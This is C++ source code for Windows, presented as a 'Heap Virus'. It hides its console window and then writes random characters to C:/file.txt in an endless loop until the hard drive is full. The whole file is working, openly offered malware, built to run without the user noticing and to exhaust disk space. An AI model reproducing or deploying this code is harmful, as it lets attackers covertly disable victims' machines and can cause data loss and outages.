| //created by Mike Marek |
| //Heap Virus |
| //Creates and continuously grows a massive text file taking up hard drive space |
| //--------------------------------------------------------------------------------------------------------------------- |
| #define _WIN32_WINNT 0x0500 |
| #include <ctime> |
| #include <string> |
| #include <vector> |
| #include <fstream> |
| #include <iostream> |
| #include <windows.h> |
| using namespace std; |
| |
| int main(int argc, char *argv) { |
| //main function |
| HWND hWnd = GetConsoleWindow(); |
| ShowWindow( hWnd, SW_HIDE ); |
| //hide window |
| |
| srand(time(NULL)); |
| //set up random figure using system clock |
| |
| string input; |
| vector <string> container; |
| ifstream infile ("C:/file.txt"); //input file |
| |
| if (infile.is_open()) { |
| while (!infile.eof()) { |
| getline(infile, input); |
| container.push_back(input); |
| } |
| infile.close(); |
| } |
| //read data in file if it exists |
| |
| ofstream file ("C:/file.txt"); //output file |
| |
| if (container.size() != 0) { |
| for (int i = 0; i < container.size(); i++) { |
| file << container[i] |
| << endl; |
| } |
| } |
| //store past data into file if it exists |
| |
| while (true) { |
| for (int i = 0; i < 128; i++) { |
| //write 128 different characters through each pass |
| file << (char(rand() % 128)); |
| } |
| } |
| //continuously write data to file |
| |
| file.close(); //close file |
| return 0; |
| } |